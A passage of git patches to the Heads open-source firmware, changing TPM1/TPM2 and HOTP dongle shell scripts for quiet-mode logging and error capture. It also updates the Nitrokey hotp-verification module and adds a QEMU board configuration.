fatal_error() { if [ -r /boot/kexec_hotp_key ]; then HOTPKEY_BRANDING="$(cat /boot/kexec_hotp_key)" else - HOTPKEY_BRANDING="HOTP USB Security Dongle" + HOTPKEY_BRANDING="HOTP USB Security dongle" fi if [ "$CONFIG_TPM" = "y" ]; then @@ -77,13 +77,13 @@ if ! hotp_token_info="$(hotp_verification info)"; then fi fi -# Set HOTP USB Security Dongle branding based on VID +# Set HOTP USB Security dongle branding based on VID if lsusb | grep -q "20a0:"; then HOTPKEY_BRANDING="Nitrokey" elif lsusb | grep -q "316d:"; then HOTPKEY_BRANDING="Librem Key" else - HOTPKEY_BRANDING="HOTP USB Security Dongle" + HOTPKEY_BRANDING="HOTP USB Security dongle" fi # Truncate the secret if it is longer than the maximum HOTP secret @@ -175,7 +175,7 @@ counter_value=$(expr $counter_value + 1) echo $counter_value >$HOTP_COUNTER || fatal_error "Unable to create hotp counter file" -# Store/overwrite HOTP USB Security Dongle branding found out beforehand +# Store/overwrite HOTP USB Security dongle branding found out beforehand echo $HOTPKEY_BRANDING >$HOTP_KEY || die "Unable to store hotp key file" diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 65ecbe534..e94cf6058 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -29,7 +29,6 @@ else . /etc/config fi - # Busybox xxd lacks -r, and we get hex dumps from TPM1 commands. This converts # a hex dump to binary data using sed and printf hex2bin() { @@ -258,7 +257,7 @@ tpm2_extend() { esac done tpm2 pcrextend "$index:sha256=$hash" - LOG $(tpm2 pcrread "sha256:$index" 2>&1) + LOG $(tpm2 pcrread "sha256:$index" 2>&1) TRACE_FUNC DEBUG "TPM: Extended PCR[$index] with hash $hash" @@ -307,7 +306,7 @@ tpm1_counter_create() { # other parameters for TPM1 are passed directly, and TPM2 mimics the # TPM1 interface. prompt_tpm_owner_password - if ! tpm counter_create -pwdo "$(cat "/tmp/secret/tpm_owner_password")" "$@"; then + if ! tpm counter_create -pwdo "$(cat "/tmp/secret/tpm_owner_password")" "$@" >/dev/null 2>&1; then DEBUG "Failed to create counter from tpm1_counter_create. Wiping /tmp/secret/tpm_owner_password" shred -n 10 -z -u /tmp/secret/tpm_owner_password die "Unable to create counter from tpm1_counter_create" @@ -334,7 +333,7 @@ tpm2_counter_create() { prompt_tpm_owner_password rand_index="1$(dd if=/dev/urandom bs=1 count=3 2>/dev/null | xxd -pc3)" tpm2 nvdefine -C o -s 8 -a "ownerread|authread|authwrite|nt=1" \ - -P "$(tpm2_password_hex "$(cat "/tmp/secret/tpm_owner_password")")" "0x$rand_index" >/dev/console || + -P "$(tpm2_password_hex "$(cat "/tmp/secret/tpm_owner_password")")" "0x$rand_index" >/dev/null 2>&1 || { DEBUG "Failed to create counter from tpm2_counter_create. Wiping /tmp/secret/tpm_owner_password" shred -n 10 -z -u /tmp/secret/tpm_owner_password @@ -357,12 +356,13 @@ tpm2_startsession() { tpm2 flushcontext -Q \ --saved-session || die "tpm2_flushcontext: unable to flush saved session" - tpm2 readpublic -Q -c "$PRIMARY_HANDLE" -t "$PRIMARY_HANDLE_FILE" + #TODO: readpublic cannot be silenced even if redirected to /dev/null with both stderr and stdout redirected? + tpm2 readpublic -Q -c "$PRIMARY_HANDLE" -t "$PRIMARY_HANDLE_FILE" >/dev/null 2>&1 #TODO: do the right thing to not have to suppress "WARN: check public portion the tpmkey manually" see https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 - tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$ENC_SESSION_FILE" > /dev/null 2>&1 + tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$ENC_SESSION_FILE" >/dev/null 2>&1 #TODO: do the right thing to not have to suppress "WARN: check public portion the tpmkey manually" see https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 - tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$DEC_SESSION_FILE" > /dev/null 2>&1 - tpm2 sessionconfig -Q --disable-encrypt "$DEC_SESSION_FILE" + tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$DEC_SESSION_FILE" >/dev/null 2>&1 + tpm2 sessionconfig -Q --disable-encrypt "$DEC_SESSION_FILE" >/dev/null 2>&1 } # Use cleanup_session() with at_exit to release a TPM2 session and delete the @@ -412,7 +412,7 @@ tpm1_destroy() { index="$1" # Index of the sealed file size="$2" # Size of zeroes to overwrite for TPM1 - dd if=/dev/zero bs="$size" count=1 of=/tmp/wipe-totp-zero > /dev/null 2>&1 + dd if=/dev/zero bs="$size" count=1 of=/tmp/wipe-totp-zero >/dev/null 2>&1 tpm nv_writevalue -in "$index" -if /tmp/wipe-totp-zero || die "Unable to wipe sealed secret from TPM NVRAM" } @@ -502,7 +502,7 @@ tpm1_seal() { pcrl="$3" #0,1,2,3,4,5,6,7 (does not include algorithm prefix) pcrf="$4" sealed_size="$5" - pass="$6" # May be empty to seal with no password + pass="$6" # May be empty to seal with no password tpm_owner_password="$7" # Owner password - will prompt if needed and not empty sealed_file="$SECRET_DIR/tpm1_seal_sealed.bin" @@ -512,7 +512,6 @@ tpm1_seal() { DEBUG "tpm1_seal arguments: file=$file index=$index pcrl=$pcrl pcrf=$pcrf sealed_size=$sealed_size pass=$(mask_param "$pass") tpm_password=$(mask_param "$tpm_password")" - # If a password was given, add it to the policy arguments if [ "$pass" ]; then POLICY_ARGS+=(-pwdd "$pass") @@ -534,7 +533,7 @@ tpm1_seal() { -of "$sealed_file" \ -hk 40000000 \ "${POLICY_ARGS[@]}" - + # try it without the TPM Owner Password first if ! tpm nv_writevalue -in "$index" -if "$sealed_file"; then # to create an nvram space we need the TPM Owner Password @@ -605,9 +604,22 @@ tpm2_unseal() { UNSEAL_PASS_SUFFIX="+$(tpm2_password_hex "$pass")" fi - tpm2 unseal -Q -c "$handle" -p "session:$POLICY_SESSION$UNSEAL_PASS_SUFFIX" \ - -S "$ENC_SESSION_FILE" >"$file" + # tpm2 unseal will write the unsealed data to stdout and any errors to + # stderr. We capture the unsealed data to $file, but still log the errors for quiet mode. + # In case of unseal error, caller will also report on TOTP not being able to be unsealed. + TMP_ERR_FILE=$(mktemp) +if ! tpm2 unseal -Q -c "$handle" -p "session:$POLICY_SESSION$UNSEAL_PASS_SUFFIX" \ + -S "$ENC_SESSION_FILE" >"$file" 2>"$TMP_ERR_FILE"; then + # Log the contents of the temporary error file + while IFS= read -r line; do + LOG "tpm2 stderr: $line" + done <"$TMP_ERR_FILE" + rm -f "$TMP_ERR_FILE" + die "Unable to unseal secret from TPM NVRAM with tpm2 unseal" +fi +rm -f "$TMP_ERR_FILE" } + tpm1_unseal() { TRACE_FUNC index="$1" @@ -650,15 +662,15 @@ tpm2_reset() { # output TPM Owner Password to a file to be reused in this boot session until recovery shell/reboot DEBUG "Caching TPM Owner Password to $SECRET_DIR/tpm_owner_password" echo -n "$tpm_owner_password" >"$SECRET_DIR/tpm_owner_password" - tpm2 clear -c platform > /dev/null 2>&1 || LOG "Unable to clear TPM on platform hierarchy" - tpm2 changeauth -c owner "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to change owner password" - tpm2 changeauth -c endorsement "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to change endorsement password" + tpm2 clear -c platform >/dev/null 2>&1 || LOG "Unable to clear TPM on platform hierarchy" + tpm2 changeauth -c owner "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to change owner password" + tpm2 changeauth -c endorsement "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to change endorsement password" tpm2 createprimary -C owner -g sha256 -G "${CONFIG_PRIMARY_KEY_TYPE:-rsa}" \ - -c "$SECRET_DIR/primary.ctx" -P "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to create primary key" + -c "$SECRET_DIR/primary.ctx" -P "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to create primary key" tpm2 evictcontrol -C owner -c "$SECRET_DIR/primary.ctx" "$PRIMARY_HANDLE" \ - -P "$(tpm2_password_hex "$tpm_owner_password")" > /dev/null 2>&1 || LOG "Unable to evict primary key" - shred -u "$SECRET_DIR/primary.ctx" > /dev/null 2>&1 - tpm2_startsession > /dev/null 2>&1 || LOG "Unable to start session" + -P "$(tpm2_password_hex "$tpm_owner_password")" >/dev/null 2>&1 || LOG "Unable to evict primary key" + shred -u "$SECRET_DIR/primary.ctx" >/dev/null 2>&1 + tpm2_startsession >/dev/null 2>&1 || LOG "Unable to start session" # Set the dictionary attack parameters. TPM2 defaults vary widely, we # want consistent behavior on any TPM. @@ -681,7 +693,7 @@ tpm2_reset() { --max-tries=10 \ --recovery-time=3600 \ --lockout-recovery-time=0 \ - --auth="session:$ENC_SESSION_FILE" > /dev/null 2>&1 || LOG "Unable to set dictionary lockout parameters" + --auth="session:$ENC_SESSION_FILE" >/dev/null 2>&1 || LOG "Unable to set dictionary lockout parameters" # Set a random DA lockout password, so the DA lockout can't be cleared # with a password. Heads doesn't offer dictionary attach reset, instead @@ -690,7 +702,7 @@ tpm2_reset() { # The default lockout password is empty, so we must set this, and we # don't need to provide any auth (use the default empty password). tpm2 changeauth -Q -c lockout \ - "hex:$(dd if=/dev/urandom bs=32 count=1 status=none 2>/dev/null | xxd -p | tr -d ' \n')" > /dev/null 2>&1 || LOG "Unable to set lockout password" + "hex:$(dd if=/dev/urandom bs=32 count=1 status=none 2>/dev/null | xxd -p | tr -d ' \n')" >/dev/null 2>&1 || LOG "Unable to set lockout password" } tpm1_reset() { TRACE_FUNC @@ -700,17 +712,17 @@ tpm1_reset() { DEBUG "Caching TPM Owner Password to $SECRET_DIR/tpm_owner_password" echo -n "$tpm_owner_password" >"$SECRET_DIR/tpm_owner_password" # Make sure the TPM is ready to be reset - tpm physicalpresence -s > /dev/null 2>&1 || LOG "Unable to assert physical presence" - tpm physicalenable > /dev/null 2>&1 || >LOG "Unable to enable TPM" - tpm physicalsetdeactivated -c > /dev/null 2>&1 || LOG "Unable to deactivate TPM" - tpm forceclear -pwdo "$tpm_owner_password" > /dev/null 2>&1 || LOG "Unable to clear TPM" - tpm physicalenable > /dev/null 2>&1 || LOG "Unable to enable TPM" - tpm takeown -pwdo "$tpm_owner_password" > /dev/null 2>&1 || LOG "Unable to take ownership of TPM" + tpm physicalpresence -s >/dev/null 2>&1 || LOG "Unable to assert physical presence" + tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" + tpm physicalsetdeactivated -c >/dev/null 2>&1 || LOG "Unable to deactivate TPM" + tpm forceclear -pwdo "$tpm_owner_password" >/dev/null 2>&1 || LOG "Unable to clear TPM" + tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" + tpm takeown -pwdo "$tpm_owner_password" >/dev/null 2>&1 || LOG "Unable to take ownership of TPM" # And now turn it all back on - tpm physicalpresence -s > /dev/null 2>&1 || LOG "Unable to assert physical presence" - tpm physicalenable > /dev/null 2>&1 || LOG "Unable to enable TPM" - tpm physicalsetdeactivated -c > /dev/null 2>&1 || LOG "Unable to deactivate TPM" + tpm physicalpresence -s >/dev/null 2>&1 || LOG "Unable to assert physical presence" + tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" + tpm physicalsetdeactivated -c >/dev/null 2>&1 || LOG "Unable to deactivate TPM physical presence requirement" } # Perform final cleanup before boot and lock the platform heirarchy. @@ -784,7 +796,7 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then DEBUG "TPM: Will extend PCR[$3] with hash of filename $string" hash="$(echo -n "$5" | sha1sum | cut -d' ' -f1)" fi - + TRACE_FUNC LOG "TPM: Extending PCR[$3] with hash $hash" DO_WITH_DEBUG exec tpm "$@" diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index c0182002a..c55ae7516 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -147,7 +147,7 @@ confirm_gpg_card() { fi fi - # setup the USB so we can reach the USB Security Dongle's smartcard + # setup the USB so we can reach the USB Security dongle's OpenPGP smartcard enable_usb echo -e "\nVerifying presence of GPG card...\n" diff --git a/initrd/init b/initrd/init index 30b08663a..3b308f139 100755 --- a/initrd/init +++ b/initrd/init @@ -181,7 +181,7 @@ fi # Setup recovery serial shell if [ ! -z "$CONFIG_BOOT_RECOVERY_SERIAL" ]; then stty -F "$CONFIG_BOOT_RECOVERY_SERIAL" 115200 - pause_recovery 'Console recovery shell' \ + pause_recovery 'Serial console recovery shell' \ < "$CONFIG_BOOT_RECOVERY_SERIAL" \ > "$CONFIG_BOOT_RECOVERY_SERIAL" 2>&1 & fi @@ -207,6 +207,7 @@ if [ "$boot_option" = "r" ]; then exit elif [ "$boot_option" = "o" ]; then # Launch OEM Factory Reset mode + echo -e "***** Entering OEM Factory Reset mode\n" > /dev/tty0 oem-factory-reset --mode oem # just in case... exit diff --git a/modules/hotp-verification b/modules/hotp-verification index 14957e74b..def337f50 100644 --- a/modules/hotp-verification +++ b/modules/hotp-verification @@ -2,12 +2,12 @@ modules-$(CONFIG_HOTPKEY) += hotp-verification hotp-verification_depends := libusb $(musl_dep) -# v1.6 -hotp-verification_version := e9050e0c914e7a8ffef5d1c82a014e0e2bf79346 +# v1.6 + patches for nk3 reset + info fixes (no version bump yet) +hotp-verification_version := 05ac293dfef8abe463ccea8f248066e8686ce62d hotp-verification_dir := hotp-verification-$(hotp-verification_version) hotp-verification_tar := nitrokey-hotp-verification-$(hotp-verification_version).tar.gz hotp-verification_url := https://github.com/Nitrokey/nitrokey-hotp-verification/archive/$(hotp-verification_version).tar.gz -hotp-verification_hash := 480c978d3585eee73b9aa5186b471d4caeeeeba411217e1544eef7cfd90312ac +hotp-verification_hash := 1095640fdae77938ce2d2ce294c7ecb8c27b77060975af8d838b6fd056ed5068 hotp-verification_target := \ $(MAKE_JOBS) \ diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch b/patches/hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d/46.patch similarity index 67% rename from patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch rename to patches/hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d/46.patch index 781c10ffa..7007da379 100644 --- a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch +++ b/patches/hotp-verification-05ac293dfef8abe463ccea8f248066e8686ce62d/46.patch @@ -1,7 +1,7 @@ -From de355ed93ba50280bf377772082b76b7a2285185 Mon Sep 17 00:00:00 2001 +From 45fb0932c3a45978d894fcaae2c242ffa93516f2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= Date: Mon, 25 Nov 2024 17:04:47 +0100 -Subject: [PATCH 1/3] Add reset command for nitrokey 3 +Subject: [PATCH 1/4] Add reset command for nitrokey 3 --- src/main.c | 10 ++++++++-- @@ -10,7 +10,7 @@ Subject: [PATCH 1/3] Add reset command for nitrokey 3 3 files changed, 50 insertions(+), 2 deletions(-) diff --git a/src/main.c b/src/main.c -index 059069e..b80b71d 100644 +index ed26932..41b1692 100644 --- a/src/main.c +++ b/src/main.c @@ -21,6 +21,7 @@ @@ -20,8 +20,8 @@ index 059069e..b80b71d 100644 +#include "operations_ccid.h" #include "return_codes.h" #include "utils.h" - #include "version.h" -@@ -134,8 +135,13 @@ int parse_cmd_and_run(int argc, char *const *argv) { + #include "operations_ccid.h" +@@ -161,8 +162,13 @@ int parse_cmd_and_run(int argc, char *const *argv) { } break; case 'r': @@ -38,7 +38,7 @@ index 059069e..b80b71d 100644 default: break; diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index eb46124..574155d 100644 +index 1ca6f54..cdaf940 100644 --- a/src/operations_ccid.c +++ b/src/operations_ccid.c @@ -32,6 +32,47 @@ @@ -90,47 +90,48 @@ index eb46124..574155d 100644 TLV tlvs[] = { { diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index b26b3c7..ec0070c 100644 +index 77a6fdc..20415c0 100644 --- a/src/operations_ccid.h +++ b/src/operations_ccid.h -@@ -11,6 +11,7 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); - int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); +@@ -12,6 +12,7 @@ int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const c int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); - int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); + int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); + int nk3_change_pin(struct Device *dev, const char *old_pin, const char*new_pin); +int nk3_reset(struct Device *dev); #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H -From 8425e8c622138aef9ab207119e14f7cbedd40175 Mon Sep 17 00:00:00 2001 +From 12ba32eb823a3d895ce77052022f8da3e40172ca Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= Date: Mon, 2 Dec 2024 10:29:59 +0100 -Subject: [PATCH 2/3] Add optional new pin when resetting +Subject: [PATCH 2/4] Add optional new pin when resetting --- - src/main.c | 9 +++++---- - src/operations_ccid.c | 6 +++++- - src/operations_ccid.h | 5 ++++- - 3 files changed, 14 insertions(+), 6 deletions(-) + src/main.c | 11 +++++++---- + src/operations_ccid.c | 6 +++++- + src/operations_ccid.h | 5 ++++- + 3 files changed, 16 insertions(+), 6 deletions(-) diff --git a/src/main.c b/src/main.c -index b80b71d..3f4a1cc 100644 +index 41b1692..84c0afe 100644 --- a/src/main.c +++ b/src/main.c -@@ -38,9 +38,10 @@ void print_help(char *app_name) { - "\t%s info\n" - "\t%s version\n" +@@ -41,8 +41,11 @@ void print_help(char *app_name) { "\t%s check \n" -- "\t%s regenerate \n" + "\t%s regenerate \n" + "\t%s set [COUNTER]\n" +- "\t%s nk3-change-pin \n", +- app_name, app_name, app_name, app_name, app_name, app_name, app_name); ++ "\t%s nk3-change-pin \n" + "\t%s reset [ADMIN PIN]\n" + "\t%s regenerate\n" - "\t%s set [COUNTER]\n", -- app_name, app_name, app_name, app_name, app_name, app_name); -+ app_name, app_name, app_name, app_name, app_name, app_name, app_name); ++ "\t%s set [COUNTER]\n", ++ app_name, app_name, app_name, app_name, app_name, app_name, app_name, app_name, app_name, app_name); } -@@ -136,8 +137,8 @@ int parse_cmd_and_run(int argc, char *const *argv) { +@@ -163,8 +166,8 @@ int parse_cmd_and_run(int argc, char *const *argv) { break; case 'r': if (strncmp(argv[1], "reset", 15) == 0) { @@ -142,7 +143,7 @@ index b80b71d..3f4a1cc 100644 if (argc != 3) break; res = regenerate_AES_key(&dev, argv[2]); diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index 574155d..07834ce 100644 +index cdaf940..8b6ba77 100644 --- a/src/operations_ccid.c +++ b/src/operations_ccid.c @@ -33,7 +33,7 @@ @@ -166,13 +167,13 @@ index 574155d..07834ce 100644 } diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index ec0070c..61cad72 100644 +index 20415c0..4d55ad8 100644 --- a/src/operations_ccid.h +++ b/src/operations_ccid.h -@@ -11,7 +11,10 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); - int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); +@@ -12,7 +12,10 @@ int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const c int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); - int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); + int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); + int nk3_change_pin(struct Device *dev, const char *old_pin, const char*new_pin); -int nk3_reset(struct Device *dev); +// new_pin can be `null` +// @@ -182,17 +183,17 @@ index ec0070c..61cad72 100644 #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H -From 596f701985682adf6bfab06c78cbe132cbcb2aae Mon Sep 17 00:00:00 2001 +From 0bbc6ea354b1f807a4d7ad4c0cd57f9cbab25a8b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= Date: Tue, 3 Dec 2024 10:48:27 +0100 -Subject: [PATCH 3/3] Fix null pointer bug on non nk3 +Subject: [PATCH 3/4] Fix null pointer bug on non nk3 --- src/operations_ccid.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index 07834ce..538d434 100644 +index 8b6ba77..1221764 100644 --- a/src/operations_ccid.c +++ b/src/operations_ccid.c @@ -36,6 +36,12 @@ @@ -217,3 +218,33 @@ index 07834ce..538d434 100644 } + +From 0c5bd3da36ea8de5b8adf7878e9260b079bc110b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Mon, 9 Dec 2024 17:42:54 +0100 +Subject: [PATCH 4/4] Print warning when device is not an NK3 + +--- + src/operations_ccid.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index 1221764..356a1b4 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -39,6 +39,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { + + if (!dev->mp_devhandle_ccid) { + // Not an NK3 ++ printf("No Nitrokey 3 found. No operation performed\n"); + return RET_NO_ERROR; + } + +@@ -52,6 +53,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { + + + if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { ++ printf("No Nitrokey 3 found. No operation performed\n"); + return RET_NO_ERROR; + } + From 19fd98df2dde010ea54ad93a3017e28adfb443d0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Dec 2024 14:50:52 -0500 Subject: [PATCH 418/619] WiP: staging changes (TPM1 regression fixes for LOG/DEBUG on quiet mode) Signed-off-by: Thierry Laurion --- ...oot-fbwhiptail-tpm1-hotp-prod_quiet.config | 100 ++++++++++++++++++ initrd/bin/kexec-select-boot | 1 + initrd/bin/tpmr | 42 +++++--- initrd/etc/functions | 4 +- 4 files changed, 131 insertions(+), 16 deletions(-) create mode 100644 boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config new file mode 100644 index 000000000..bbda97069 --- /dev/null +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config @@ -0,0 +1,100 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in console mode thanks to Whiptail +# +# TPM can be used with a qemu software TPM (TIS, 1.2). A Librem Key or +# Nitrokey Pro can also be used by forwarding the USB device from the host to +# the VM. +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index bdda8aaf8..81d0e5ff8 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -113,6 +113,7 @@ verify_global_hashes() { } verify_rollback_counter() { + TRACE_FUNC TPM_COUNTER=$(grep counter $TMP_ROLLBACK_FILE | cut -d- -f2) if [ -z "$TPM_COUNTER" ]; then die "$TMP_ROLLBACK_FILE: TPM counter not found?" diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index e94cf6058..ccf1f6c23 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -306,11 +306,18 @@ tpm1_counter_create() { # other parameters for TPM1 are passed directly, and TPM2 mimics the # TPM1 interface. prompt_tpm_owner_password - if ! tpm counter_create -pwdo "$(cat "/tmp/secret/tpm_owner_password")" "$@" >/dev/null 2>&1; then + TMP_ERR_FILE=$(mktemp) + if ! tpm counter_create -pwdo "$(cat "/tmp/secret/tpm_owner_password")" "$@" 2>"$TMP_ERR_FILE"; then DEBUG "Failed to create counter from tpm1_counter_create. Wiping /tmp/secret/tpm_owner_password" shred -n 10 -z -u /tmp/secret/tpm_owner_password + # Log the contents of the temporary error file + while IFS= read -r line; do + DEBUG "tpm1 stderr: $line" + done <"$TMP_ERR_FILE" + rm -f "$TMP_ERR_FILE" die "Unable to create counter from tpm1_counter_create" fi + rm -f "$TMP_ERR_FILE" } tpm2_counter_create() { @@ -608,16 +615,16 @@ tpm2_unseal() { # stderr. We capture the unsealed data to $file, but still log the errors for quiet mode. # In case of unseal error, caller will also report on TOTP not being able to be unsealed. TMP_ERR_FILE=$(mktemp) -if ! tpm2 unseal -Q -c "$handle" -p "session:$POLICY_SESSION$UNSEAL_PASS_SUFFIX" \ - -S "$ENC_SESSION_FILE" >"$file" 2>"$TMP_ERR_FILE"; then - # Log the contents of the temporary error file - while IFS= read -r line; do - LOG "tpm2 stderr: $line" - done <"$TMP_ERR_FILE" - rm -f "$TMP_ERR_FILE" - die "Unable to unseal secret from TPM NVRAM with tpm2 unseal" -fi -rm -f "$TMP_ERR_FILE" + if ! tpm2 unseal -Q -c "$handle" -p "session:$POLICY_SESSION$UNSEAL_PASS_SUFFIX" \ + -S "$ENC_SESSION_FILE" >"$file" 2>"$TMP_ERR_FILE"; then + # Log the contents of the temporary error file + while IFS= read -r line; do + LOG "tpm2 stderr: $line" + done <"$TMP_ERR_FILE" + rm -f "$TMP_ERR_FILE" + die "Unable to unseal secret from TPM NVRAM with tpm2 unseal" + fi + rm -f "$TMP_ERR_FILE" } tpm1_unseal() { @@ -715,7 +722,7 @@ tpm1_reset() { tpm physicalpresence -s >/dev/null 2>&1 || LOG "Unable to assert physical presence" tpm physicalenable >/dev/null 2>&1 || LOG "Unable to enable TPM" tpm 